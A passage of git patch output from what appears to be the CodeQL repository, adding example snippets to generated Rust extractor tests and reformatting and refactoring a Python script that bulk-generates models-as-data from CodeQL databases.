b/rust/ql/test/extractor-tests/generated/TypeArg/gen_type_arg.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_type_arg() -> () { - // A TypeArg. For example: - todo!() + // A type argument in a generic argument list. + // + // For example: + Foo:: + // ^^^ } diff --git a/rust/ql/test/extractor-tests/generated/TypeBound/gen_type_bound.rs b/rust/ql/test/extractor-tests/generated/TypeBound/gen_type_bound.rs index a5ee2af22368..9e182cbeefcc 100644 --- a/rust/ql/test/extractor-tests/generated/TypeBound/gen_type_bound.rs +++ b/rust/ql/test/extractor-tests/generated/TypeBound/gen_type_bound.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_type_bound() -> () { - // A TypeBound. For example: - todo!() + // A type bound in a trait or generic parameter. + // + // For example: + fn foo(t: T) {} + // ^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/TypeBoundList/gen_type_bound_list.rs b/rust/ql/test/extractor-tests/generated/TypeBoundList/gen_type_bound_list.rs index aa2c2992225c..8ecff33eb703 100644 --- a/rust/ql/test/extractor-tests/generated/TypeBoundList/gen_type_bound_list.rs +++ b/rust/ql/test/extractor-tests/generated/TypeBoundList/gen_type_bound_list.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_type_bound_list() -> () { - // A TypeBoundList. For example: - todo!() + // A list of type bounds. + // + // For example: + fn foo(t: T) {} + // ^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/TypeParam/gen_type_param.rs b/rust/ql/test/extractor-tests/generated/TypeParam/gen_type_param.rs index 6d5dbf5dd39b..3028b3c81362 100644 --- a/rust/ql/test/extractor-tests/generated/TypeParam/gen_type_param.rs +++ b/rust/ql/test/extractor-tests/generated/TypeParam/gen_type_param.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_type_param() -> () { - // A TypeParam. For example: - todo!() + // A type parameter in a generic parameter list. + // + // For example: + fn foo(t: T) {} + // ^ } diff --git a/rust/ql/test/extractor-tests/generated/Union/gen_union.rs b/rust/ql/test/extractor-tests/generated/Union/gen_union.rs index ef74acf7f60c..5b148d975e55 100644 --- a/rust/ql/test/extractor-tests/generated/Union/gen_union.rs +++ b/rust/ql/test/extractor-tests/generated/Union/gen_union.rs @@ -1,6 +1,8 @@ // generated by codegen, do not edit fn test_union() -> () { - // A Union. For example: - todo!() + // A union declaration. + // + // For example: + union U { f1: u32, f2: f32 } } diff --git a/rust/ql/test/extractor-tests/generated/Use/gen_use.rs b/rust/ql/test/extractor-tests/generated/Use/gen_use.rs index c61de79f9ff0..193d9a1c6556 100644 --- a/rust/ql/test/extractor-tests/generated/Use/gen_use.rs +++ b/rust/ql/test/extractor-tests/generated/Use/gen_use.rs @@ -1,6 +1,6 @@ // generated by codegen, do not edit fn test_use() -> () { - // A Use. For example: - todo!() + // A `use` statement. For example: + use std::collections::HashMap; } diff --git a/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3c..000000000000 --- a/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs.ql b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs.ql new file mode 100644 index 000000000000..5100891c77a7 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs.ql @@ -0,0 +1,10 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from UseBoundGenericArgs x, int getNumberOfUseBoundGenericArgs +where + toBeTested(x) and + not x.isUnknown() and + getNumberOfUseBoundGenericArgs = x.getNumberOfUseBoundGenericArgs() +select x, "getNumberOfUseBoundGenericArgs:", getNumberOfUseBoundGenericArgs diff --git a/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs_getUseBoundGenericArg.ql b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs_getUseBoundGenericArg.ql new file mode 100644 index 000000000000..794bf615b049 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs_getUseBoundGenericArg.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from UseBoundGenericArgs x, int index +where toBeTested(x) and not x.isUnknown() +select x, index, x.getUseBoundGenericArg(index) diff --git a/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/gen_use_bound_generic_args.rs b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/gen_use_bound_generic_args.rs new file mode 100644 index 000000000000..bb04264d33e1 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/gen_use_bound_generic_args.rs @@ -0,0 +1,9 @@ +// generated by codegen, do not edit + +fn test_use_bound_generic_args() -> () { + // A use<..> bound to control which generic parameters are captured by an impl Trait return type. + // + // For example: + pub fn hello<'a, T, const N: usize>() -> impl Sized + use<'a, T, N> {} + // ^^^^^^^^ +} diff --git a/rust/ql/test/extractor-tests/generated/UseTree/gen_use_tree.rs b/rust/ql/test/extractor-tests/generated/UseTree/gen_use_tree.rs index 56dba336e8a8..176990c139a6 100644 --- a/rust/ql/test/extractor-tests/generated/UseTree/gen_use_tree.rs +++ b/rust/ql/test/extractor-tests/generated/UseTree/gen_use_tree.rs @@ -1,7 +1,7 @@ // generated by codegen, do not edit fn test_use_tree() -> () { - // A UseTree. For example: + // A `use` tree, ie the part after the `use` keyword in a `use` statement. For example: use std::collections::HashMap; use std::collections::*; use std::collections::HashMap as MyHashMap; diff --git a/rust/ql/test/extractor-tests/generated/UseTreeList/gen_use_tree_list.rs b/rust/ql/test/extractor-tests/generated/UseTreeList/gen_use_tree_list.rs index dfbdef694084..63eba516c3f3 100644 --- a/rust/ql/test/extractor-tests/generated/UseTreeList/gen_use_tree_list.rs +++ b/rust/ql/test/extractor-tests/generated/UseTreeList/gen_use_tree_list.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_use_tree_list() -> () { - // A UseTreeList. For example: - todo!() + // A list of use trees in a use declaration. + // + // For example: + use std::{fs, io}; + // ^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/Variant/gen_variant.rs b/rust/ql/test/extractor-tests/generated/Variant/gen_variant.rs index 37e7506e2bcc..91d4614d5ed8 100644 --- a/rust/ql/test/extractor-tests/generated/Variant/gen_variant.rs +++ b/rust/ql/test/extractor-tests/generated/Variant/gen_variant.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_variant() -> () { - // A Variant. For example: - todo!() + // A variant in an enum declaration. + // + // For example: + enum E { A, B(i32), C { x: i32 } } + // ^ ^^^^^^ ^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/VariantList/gen_variant_list.rs b/rust/ql/test/extractor-tests/generated/VariantList/gen_variant_list.rs index c13f6430cc65..44a126fbbc8e 100644 --- a/rust/ql/test/extractor-tests/generated/VariantList/gen_variant_list.rs +++ b/rust/ql/test/extractor-tests/generated/VariantList/gen_variant_list.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_variant_list() -> () { - // A VariantList. For example: - todo!() + // A list of variants in an enum declaration. + // + // For example: + enum E { A, B, C } + // ^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/Visibility/gen_visibility.rs b/rust/ql/test/extractor-tests/generated/Visibility/gen_visibility.rs index 5dbc762f3e73..7d8f0a81e262 100644 --- a/rust/ql/test/extractor-tests/generated/Visibility/gen_visibility.rs +++ b/rust/ql/test/extractor-tests/generated/Visibility/gen_visibility.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_visibility() -> () { - // A Visibility. For example: - todo!() + // A visibility modifier. + // + // For example: + pub struct S; + //^^^ } diff --git a/rust/ql/test/extractor-tests/generated/WhereClause/gen_where_clause.rs b/rust/ql/test/extractor-tests/generated/WhereClause/gen_where_clause.rs index ef389c9ee4f4..9d3dd408d40c 100644 --- a/rust/ql/test/extractor-tests/generated/WhereClause/gen_where_clause.rs +++ b/rust/ql/test/extractor-tests/generated/WhereClause/gen_where_clause.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_where_clause() -> () { - // A WhereClause. For example: - todo!() + // A where clause in a generic declaration. + // + // For example: + fn foo(t: T) where T: Debug {} + // ^^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/WherePred/gen_where_pred.rs b/rust/ql/test/extractor-tests/generated/WherePred/gen_where_pred.rs index 781d4697e20a..48a6b7bf2564 100644 --- a/rust/ql/test/extractor-tests/generated/WherePred/gen_where_pred.rs +++ b/rust/ql/test/extractor-tests/generated/WherePred/gen_where_pred.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_where_pred() -> () { - // A WherePred. For example: - todo!() + // A predicate in a where clause. + // + // For example: + fn foo(t: T, u: U) where T: Debug, U: Clone {} + // ^^^^^^^^ ^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/WhileExpr/gen_while_expr.rs b/rust/ql/test/extractor-tests/generated/WhileExpr/gen_while_expr.rs index 5078a8a794f5..92f095e34d29 100644 --- a/rust/ql/test/extractor-tests/generated/WhileExpr/gen_while_expr.rs +++ b/rust/ql/test/extractor-tests/generated/WhileExpr/gen_while_expr.rs @@ -1,6 +1,10 @@ // generated by codegen, do not edit fn test_while_expr() -> () { - // A WhileExpr. For example: - todo!() + // A while loop expression. + // + // For example: + while x < 10 { + x += 1; + } } From 7ecf8c8ea2d11f0a9bfcca86a55b12827e38314c Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Fri, 30 May 2025 11:38:20 +0100 Subject: [PATCH 451/535] Bulk generator: Format file and add a note at the top of the file specifying the formatting requirements. --- .../models-as-data/bulk_generate_mad.py | 171 ++++++++++++------ 1 file changed, 117 insertions(+), 54 deletions(-) diff --git a/misc/scripts/models-as-data/bulk_generate_mad.py b/misc/scripts/models-as-data/bulk_generate_mad.py index 922deaa7627f..9490ef44c45c 100644 --- a/misc/scripts/models-as-data/bulk_generate_mad.py +++ b/misc/scripts/models-as-data/bulk_generate_mad.py @@ -1,5 +1,7 @@ """ Experimental script for bulk generation of MaD models based on a list of projects. + +Note: This file must be formatted using the Black Python formatter. """ import os.path @@ -24,6 +26,7 @@ ) build_dir = os.path.join(gitroot, "mad-generation-build") + # A project to generate models for class Project(TypedDict): """ @@ -132,7 +135,9 @@ def clone_projects(projects: List[Project]) -> List[tuple[Project, str]]: return project_dirs -def build_database(language: str, extractor_options, project: Project, project_dir: str) -> str | None: +def build_database( + language: str, extractor_options, project: Project, project_dir: str +) -> str | None: """ Build a CodeQL database for a project. @@ -179,6 +184,7 @@ def build_database(language: str, extractor_options, project: Project, project_d return database_dir + def generate_models(args, name: str, database_dir: str) -> None: """ Generate models for a project. @@ -196,7 +202,10 @@ def generate_models(args, name: str, database_dir: str) -> None: generator.setenvironment(database=database_dir, folder=name) generator.run() -def build_databases_from_projects(language: str, extractor_options, projects: List[Project]) -> List[tuple[str, str | None]]: + +def build_databases_from_projects( + language: str, extractor_options, projects: List[Project] +) -> List[tuple[str, str | None]]: """ Build databases for all projects in parallel. @@ -215,11 +224,15 @@ def build_databases_from_projects(language: str, extractor_options, projects: Li # Phase 2: Build databases for all projects print("\n=== Phase 2: Building databases ===") database_results = [ - (project["name"], build_database(language, extractor_options, project, project_dir)) + ( + project["name"], + build_database(language, extractor_options, project, project_dir), + ) for project, project_dir in project_dirs ] return database_results + def github(url: str, pat: str, extra_headers: dict[str, str] = {}) -> dict: """ Download a JSON file from GitHub using a personal access token (PAT). @@ -230,7 +243,7 @@ def github(url: str, pat: str, extra_headers: dict[str, str] = {}) -> dict: Returns: The JSON response as a dictionary. """ - headers = { "Authorization": f"token {pat}" } | extra_headers + headers = {"Authorization": f"token {pat}"} | extra_headers response = requests.get(url, headers=headers) if response.status_code != 200: print(f"Failed to download JSON: {response.status_code} {response.text}") @@ -238,6 +251,7 @@ def github(url: str, pat: str, extra_headers: dict[str, str] = {}) -> dict: else: return response.json() + def download_artifact(url: str, artifact_name: str, pat: str) -> str: """ Download a GitHub Actions artifact from a given URL. @@ -248,7 +262,7 @@ def download_artifact(url: str, artifact_name: str, pat: str) -> str: Returns: The path to the downloaded artifact file. """ - headers = { "Authorization": f"token {pat}", "Accept": "application/vnd.github+json" } + headers = {"Authorization": f"token {pat}", "Accept": "application/vnd.github+json"} response = requests.get(url, stream=True, headers=headers) zipName = artifact_name + ".zip" if response.status_code == 200: @@ -262,15 +276,20 @@ def download_artifact(url: str, artifact_name: str, pat: str) -> str: print(f"Failed to download file. Status code: {response.status_code}") sys.exit(1) + def remove_extension(filename: str) -> str: while "." in filename: filename, _ = os.path.splitext(filename) return filename + def pretty_name_from_artifact_name(artifact_name: str) -> str: return artifact_name.split("___")[1] -def download_dca_databases(experiment_name: str, pat: str, projects) -> List[tuple[str, str | None]]: + +def download_dca_databases( + experiment_name: str, pat: str, projects +) -> List[tuple[str, str | None]]: """ Download databases from a DCA experiment. Args: @@ -282,58 +301,81 @@ def download_dca_databases(experiment_name: str, pat: str, projects) -> List[tup """ database_results = [] print("\n=== Finding projects ===") - response = github(f"https://raw.githubusercontent.com/github/codeql-dca-main/data/{experiment_name}/reports/downloads.json", pat) + response = github( + f"https://raw.githubusercontent.com/github/codeql-dca-main/data/{experiment_name}/reports/downloads.json", + pat, + ) targets = response["targets"] for target, data in targets.items(): - downloads = data["downloads"] - analyzed_database = downloads["analyzed_database"] - artifact_name = analyzed_database["artifact_name"] - pretty_name = pretty_name_from_artifact_name(artifact_name) - - if not pretty_name in [project["name"] for project in projects]: - print(f"Skipping {pretty_name} as it is not in the list of projects") - continue - - repository = analyzed_database["repository"] - run_id = analyzed_database["run_id"] - print(f"=== Finding artifact: {artifact_name} ===") - response = github(f"https://api.github.com/repos/{repository}/actions/runs/{run_id}/artifacts", pat, { "Accept": "application/vnd.github+json" }) - artifacts = response["artifacts"] - artifact_map = {artifact["name"]: artifact for artifact in artifacts} - print(f"=== Downloading artifact: {artifact_name} ===") - archive_download_url = artifact_map[artifact_name]["archive_download_url"] - artifact_zip_location = download_artifact(archive_download_url, artifact_name, pat) - print(f"=== Extracting artifact: {artifact_name} ===") - # The database is in a zip file, which contains a tar.gz file with the DB - # First we open the zip file - with zipfile.ZipFile(artifact_zip_location, 'r') as zip_ref: - artifact_unzipped_location = os.path.join(build_dir, artifact_name) - # And then we extract it to build_dir/artifact_name - zip_ref.extractall(artifact_unzipped_location) - # And then we iterate over the contents of the extracted directory - # and extract the tar.gz files inside it - for entry in os.listdir(artifact_unzipped_location): - artifact_tar_location = os.path.join(artifact_unzipped_location, entry) - with tarfile.open(artifact_tar_location, "r:gz") as tar_ref: - # And we just untar it to the same directory as the zip file - tar_ref.extractall(artifact_unzipped_location) - database_results.append((pretty_name, os.path.join(artifact_unzipped_location, remove_extension(entry)))) + downloads = data["downloads"] + analyzed_database = downloads["analyzed_database"] + artifact_name = analyzed_database["artifact_name"] + pretty_name = pretty_name_from_artifact_name(artifact_name) + + if not pretty_name in [project["name"] for project in projects]: + print(f"Skipping {pretty_name} as it is not in the list of projects") + continue + + repository = analyzed_database["repository"] + run_id = analyzed_database["run_id"] + print(f"=== Finding artifact: {artifact_name} ===") + response = github( + f"https://api.github.com/repos/{repository}/actions/runs/{run_id}/artifacts", + pat, + {"Accept": "application/vnd.github+json"}, + ) + artifacts = response["artifacts"] + artifact_map = {artifact["name"]: artifact for artifact in artifacts} + print(f"=== Downloading artifact: {artifact_name} ===") + archive_download_url = artifact_map[artifact_name]["archive_download_url"] + artifact_zip_location = download_artifact( + archive_download_url, artifact_name, pat + ) + print(f"=== Extracting artifact: {artifact_name} ===") + # The database is in a zip file, which contains a tar.gz file with the DB + # First we open the zip file + with zipfile.ZipFile(artifact_zip_location, "r") as zip_ref: + artifact_unzipped_location = os.path.join(build_dir, artifact_name) + # And then we extract it to build_dir/artifact_name + zip_ref.extractall(artifact_unzipped_location) + # And then we iterate over the contents of the extracted directory + # and extract the tar.gz files inside it + for entry in os.listdir(artifact_unzipped_location): + artifact_tar_location = os.path.join(artifact_unzipped_location, entry) + with tarfile.open(artifact_tar_location, "r:gz") as tar_ref: + # And we just untar it to the same directory as the zip file + tar_ref.extractall(artifact_unzipped_location) + database_results.append( + ( + pretty_name, + os.path.join( + artifact_unzipped_location, remove_extension(entry) + ), + ) + ) print(f"\n=== Extracted {len(database_results)} databases ===") def compare(a, b): - a_index = next(i for i, project in enumerate(projects) if project["name"] == a[0]) - b_index = next(i for i, project in enumerate(projects) if project["name"] == b[0]) + a_index = next( + i for i, project in enumerate(projects) if project["name"] == a[0] + ) + b_index = next( + i for i, project in enumerate(projects) if project["name"] == b[0] + ) return a_index - b_index # Sort the database results based on the order in the projects file return sorted(database_results, key=cmp_to_key(compare)) - + + def get_destination_for_project(config, name: str) -> str: return os.path.join(config["destination"], name) + def get_strategy(config) -> str: return config["strategy"].lower() + def main(config, args) -> None: """ Main function to handle the bulk generation of MaD models. @@ -371,7 +413,9 @@ def main(config, args) -> None: match get_strategy(config): case "repo": extractor_options = config.get("extractor_options", []) - database_results = build_databases_from_projects(language, extractor_options, projects) + database_results = build_databases_from_projects( + language, extractor_options, projects + ) case "dca": experiment_name = args.dca if experiment_name is None: @@ -386,9 +430,7 @@ def main(config, args) -> None: # Phase 3: Generate models for all projects print("\n=== Phase 3: Generating models ===") - failed_builds = [ - project for project, db_dir in database_results if db_dir is None - ] + failed_builds = [project for project, db_dir in database_results if db_dir is None] if failed_builds: print( f"ERROR: {len(failed_builds)} database builds failed: {', '.join(failed_builds)}" @@ -406,15 +448,36 @@ def main(config, args) -> None: if database_dir is not None: generate_models(args, project, database_dir) + if __name__ == "__main__": parser = argparse.ArgumentParser() - parser.add_argument("--config", type=str, help="Path to the configuration file.", required=True) - parser.add_argument("--dca", type=str, help="Name of a DCA run that built all the projects", required=False) - parser.add_argument("--pat", type=str, help="PAT token to grab DCA databases (the same as the one you use for DCA)", required=False) - parser.add_argument("--lang", type=str, help="The language to generate models for", required=True) - parser.add_argument("--with-sources", action="store_true", help="Generate sources", required=False) - parser.add_argument("--with-sinks", action="store_true", help="Generate sinks", required=False) - parser.add_argument("--with-summaries", action="store_true", help="Generate sinks", required=False) + parser.add_argument( + "--config", type=str, help="Path to the configuration file.", required=True + ) + parser.add_argument( + "--dca", + type=str, + help="Name of a DCA run that built all the projects", + required=False, + ) + parser.add_argument( + "--pat", + type=str, + help="PAT token to grab DCA databases (the same as the one you use for DCA)", + required=False, + ) + parser.add_argument( + "--lang", type=str, help="The language to generate models for", required=True + ) + parser.add_argument( + "--with-sources", action="store_true", help="Generate sources", required=False + ) + parser.add_argument( + "--with-sinks", action="store_true", help="Generate sinks", required=False + ) + parser.add_argument( + "--with-summaries", action="store_true", help="Generate sinks", required=False + ) args = parser.parse_args() # Load config file From 566bf431d7cd6a193a63eca714c6d577c97207bb Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Fri, 30 May 2025 11:42:15 +0100 Subject: [PATCH 452/535] Bulk generator: Rename 'github' to 'get_json_from_github'. --- misc/scripts/models-as-data/bulk_generate_mad.py | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/misc/scripts/models-as-data/bulk_generate_mad.py b/misc/scripts/models-as-data/bulk_generate_mad.py index 9490ef44c45c..edb1dd3bfa89 100644 --- a/misc/scripts/models-as-data/bulk_generate_mad.py +++ b/misc/scripts/models-as-data/bulk_generate_mad.py @@ -233,7 +233,9 @@ def build_databases_from_projects( return database_results -def github(url: str, pat: str, extra_headers: dict[str, str] = {}) -> dict: +def get_json_from_github( + url: str, pat: str, extra_headers: dict[str, str] = {} +) -> dict: """ Download a JSON file from GitHub using a personal access token (PAT). Args: @@ -301,7 +303,7 @@ def download_dca_databases( """ database_results = [] print("\n=== Finding projects ===") - response = github( + response = get_json_from_github( f"https://raw.githubusercontent.com/github/codeql-dca-main/data/{experiment_name}/reports/downloads.json", pat, ) @@ -319,7 +321,7 @@ def download_dca_databases( repository = analyzed_database["repository"] run_id = analyzed_database["run_id"] print(f"=== Finding artifact: {artifact_name} ===") - response = github( + response = get_json_from_github( f"https://api.github.com/repos/{repository}/actions/runs/{run_id}/artifacts", pat, {"Accept": "application/vnd.github+json"}, From b640474a61f75d1bbe6796acbfe7cf55d5b5b84c Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Fri, 30 May 2025 11:43:30 +0100 Subject: [PATCH 453/535] Bulk generator: Remove 'Phase' part of log message. --- misc/scripts/models-as-data/bulk_generate_mad.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/misc/scripts/models-as-data/bulk_generate_mad.py b/misc/scripts/models-as-data/bulk_generate_mad.py index edb1dd3bfa89..cf493d48064a 100644 --- a/misc/scripts/models-as-data/bulk_generate_mad.py +++ b/misc/scripts/models-as-data/bulk_generate_mad.py @@ -217,12 +217,12 @@ def build_databases_from_projects( Returns: List of (project_name, database_dir) pairs, where database_dir is None if the build failed. """ - # Phase 1: Clone projects in parallel - print("=== Phase 1: Cloning projects ===") + # Clone projects in parallel + print("=== Cloning projects ===") project_dirs = clone_projects(projects) - # Phase 2: Build databases for all projects - print("\n=== Phase 2: Building databases ===") + # Build databases for all projects + print("\n=== Building databases ===") database_results = [ ( project["name"], @@ -429,8 +429,8 @@ def main(config, args) -> None: sys.exit(1) database_results = download_dca_databases(experiment_name, pat, projects) - # Phase 3: Generate models for all projects - print("\n=== Phase 3: Generating models ===") + # Generate models for all projects + print("\n=== Generating models ===") failed_builds = [project for project, db_dir in database_results if db_dir is None] if failed_builds: From 5d79a8de89fd76aa6537b20230d024156467b566 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Fri, 30 May 2025 11:48:30 +0100 Subject: [PATCH 454/535] Update misc/scripts/models-as-data/bulk_generate_mad.py Co-authored-by: Simon Friis Vindum --- misc/scripts/models-as-data/bulk_generate_mad.py | 1 - 1 file changed, 1 deletion(-) diff --git a/misc/scripts/models-as-data/bulk_generate_mad.py b/misc/scripts/models-as-data/bulk_generate_mad.py index cf493d48064a..6d9b52e2266d 100644 --- a/misc/scripts/models-as-data/bulk_generate_mad.py +++ b/misc/scripts/models-as-data/bulk_generate_mad.py @@ -387,7 +387,6 @@ def main(config, args) -> None: """ projects = config["targets"] - destination = config["destination"] language = args.lang # Create build directory if it doesn't exist From 7c89d6d6dde1ac804f2fb26821623cc90ffe8bf2 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Fri, 30 May 2025 11:49:48 +0100 Subject: [PATCH 455/535] Bulk generator: Rename 'get_destination_for_project' to 'get_mad_destination_for_project'. --- misc/scripts/models-as-data/bulk_generate_mad.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/misc/scripts/models-as-data/bulk_generate_mad.py b/misc/scripts/models-as-data/bulk_generate_mad.py index 6d9b52e2266d..6f75536ade54 100644 --- a/misc/scripts/models-as-data/bulk_generate_mad.py +++ b/misc/scripts/models-as-data/bulk_generate_mad.py @@ -370,7 +370,7 @@ def compare(a, b): return sorted(database_results, key=cmp_to_key(compare)) -def get_destination_for_project(config, name: str) -> str: +def get_mad_destination_for_project(config, name: str) -> str: return os.path.join(config["destination"], name) @@ -395,7 +395,7 @@ def main(config, args) -> None: # Check if any of the MaD directories contain working directory changes in git for project in projects: - mad_dir = get_destination_for_project(config, project["name"]) + mad_dir = get_mad_destination_for_project(config, project["name"]) if os.path.exists(mad_dir): git_status_output = subprocess.check_output( ["git", "status", "-s", mad_dir], text=True @@ -440,7 +440,7 @@ def main(config, args) -> None: # Delete the MaD directory for each project for project, database_dir in database_results: - mad_dir = get_destination_for_project(config, project) + mad_dir = get_mad_destination_for_project(config, project) if os.path.exists(mad_dir): print(f"Deleting existing MaD directory at {mad_dir}") subprocess.check_call(["rm", "-rf", mad_dir]) From 0157c16008afe2836032594c916419455e6e9761 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Fri, 30 May 2025 12:57:45 +0200 Subject: [PATCH 456/535] Rust: delete empty expected file --- .../dataflow/sources/CONSISTENCY/ExtractionConsistency.expected | 0 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/ExtractionConsistency.expected diff --git a/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/ExtractionConsistency.expected b/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/ExtractionConsistency.expected deleted file mode 100644 index e69de29bb2d1..000000000000 From 7121f5c57edbbd70520ace39aa42a502f354190e Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Fri, 30 May 2025 12:08:42 +0100 Subject: [PATCH 457/535] Bulk generator: Use the 'Project' type throughout the file. --- .../models-as-data/bulk_generate_mad.py | 28 +++++++++++-------- 1 file changed, 16 insertions(+), 12 deletions(-) diff --git a/misc/scripts/models-as-data/bulk_generate_mad.py b/misc/scripts/models-as-data/bulk_generate_mad.py index 6f75536ade54..8b5482628748 100644 --- a/misc/scripts/models-as-data/bulk_generate_mad.py +++ b/misc/scripts/models-as-data/bulk_generate_mad.py @@ -39,7 +39,7 @@ class Project(TypedDict): """ name: str - git_repo: str + git_repo: NotRequired[str] git_tag: NotRequired[str] @@ -185,7 +185,7 @@ def build_database( return database_dir -def generate_models(args, name: str, database_dir: str) -> None: +def generate_models(args, project: Project, database_dir: str) -> None: """ Generate models for a project. @@ -194,6 +194,7 @@ def generate_models(args, name: str, database_dir: str) -> None: name: The name of the project. database_dir: Path to the CodeQL database. """ + name = project["name"] generator = mad.Generator(args.lang) generator.generateSinks = args.with_sinks @@ -205,7 +206,7 @@ def generate_models(args, name: str, database_dir: str) -> None: def build_databases_from_projects( language: str, extractor_options, projects: List[Project] -) -> List[tuple[str, str | None]]: +) -> List[tuple[Project, str | None]]: """ Build databases for all projects in parallel. @@ -225,7 +226,7 @@ def build_databases_from_projects( print("\n=== Building databases ===") database_results = [ ( - project["name"], + project, build_database(language, extractor_options, project, project_dir), ) for project, project_dir in project_dirs @@ -290,8 +291,8 @@ def pretty_name_from_artifact_name(artifact_name: str) -> str: def download_dca_databases( - experiment_name: str, pat: str, projects -) -> List[tuple[str, str | None]]: + experiment_name: str, pat: str, projects: List[Project] +) -> List[tuple[Project, str | None]]: """ Download databases from a DCA experiment. Args: @@ -308,7 +309,7 @@ def download_dca_databases( pat, ) targets = response["targets"] - for target, data in targets.items(): + for data in targets.values(): downloads = data["downloads"] analyzed_database = downloads["analyzed_database"] artifact_name = analyzed_database["artifact_name"] @@ -349,20 +350,21 @@ def download_dca_databases( tar_ref.extractall(artifact_unzipped_location) database_results.append( ( - pretty_name, + {"name": pretty_name}, os.path.join( artifact_unzipped_location, remove_extension(entry) ), ) ) + print(f"\n=== Extracted {len(database_results)} databases ===") def compare(a, b): a_index = next( - i for i, project in enumerate(projects) if project["name"] == a[0] + i for i, project in enumerate(projects) if project["name"] == a[0]["name"] ) b_index = next( - i for i, project in enumerate(projects) if project["name"] == b[0] + i for i, project in enumerate(projects) if project["name"] == b[0]["name"] ) return a_index - b_index @@ -431,7 +433,9 @@ def main(config, args) -> None: # Generate models for all projects print("\n=== Generating models ===") - failed_builds = [project for project, db_dir in database_results if db_dir is None] + failed_builds = [ + project["name"] for project, db_dir in database_results if db_dir is None + ] if failed_builds: print( f"ERROR: {len(failed_builds)} database builds failed: {', '.join(failed_builds)}" @@ -440,7 +444,7 @@ def main(config, args) -> None: # Delete the MaD directory for each project for project, database_dir in database_results: - mad_dir = get_mad_destination_for_project(config, project) + mad_dir = get_mad_destination_for_project(config, project["name"]) if os.path.exists(mad_dir): print(f"Deleting existing MaD directory at {mad_dir}") subprocess.check_call(["rm", "-rf", mad_dir]) From fc165db8acb30401569073f8e0564e880749d092 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Fri, 30 May 2025 12:17:03 +0100 Subject: [PATCH 458/535] Bulk generator: Specify 'with-summaries', 'with-sources', and 'with-sinks' in the config file. --- cpp/misc/bulk_generation_targets.json | 4 +- .../models-as-data/bulk_generate_mad.py | 38 ++++++----- rust/misc/bulk_generation_targets.json | 65 +++++++++++++++---- 3 files changed, 75 insertions(+), 32 deletions(-) diff --git a/cpp/misc/bulk_generation_targets.json b/cpp/misc/bulk_generation_targets.json index 5f74b094d35a..6cc2223b5e9d 100644 --- a/cpp/misc/bulk_generation_targets.json +++ b/cpp/misc/bulk_generation_targets.json @@ -1,8 +1,8 @@ { "strategy": "dca", "targets": [ - { "name": "openssl" }, - { "name": "sqlite" } + { "name": "openssl", "with_summaries": true }, + { "name": "sqlite", "with_summaries": true } ], "destination": "cpp/ql/lib/ext/generated" } \ No newline at end of file diff --git a/misc/scripts/models-as-data/bulk_generate_mad.py b/misc/scripts/models-as-data/bulk_generate_mad.py index 8b5482628748..bed3442f7904 100644 --- a/misc/scripts/models-as-data/bulk_generate_mad.py +++ b/misc/scripts/models-as-data/bulk_generate_mad.py @@ -41,7 +41,18 @@ class Project(TypedDict): name: str git_repo: NotRequired[str] git_tag: NotRequired[str] + with_sinks: NotRequired[bool] + with_sinks: NotRequired[bool] + with_summaries: NotRequired[bool] +def shouldGenerateSinks(project: Project) -> bool: + return project.get("with_sinks", False) 